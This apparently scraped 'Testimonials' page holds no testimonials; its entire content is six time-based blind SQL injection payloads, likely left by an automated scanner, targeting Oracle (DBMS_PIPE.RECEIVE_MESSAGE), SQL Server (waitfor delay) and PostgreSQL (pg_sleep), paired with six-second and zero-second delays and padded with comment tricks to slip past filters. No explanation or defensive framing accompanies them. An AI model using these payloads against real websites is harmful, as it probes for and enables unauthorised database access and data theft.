Testimonials

‘/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE(‘p’,6)=’p

‘/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE(‘x’,0)=’x

‘and(select+1)>0waitfor/**/delay’0:0:6

‘and(select+1)>0waitfor/**/delay’0:0:0

‘/**/and(select’1’from/**/pg_sleep(6))::text>’0

‘/**/and(select’1’from/**/pg_sleep(0))::text>’0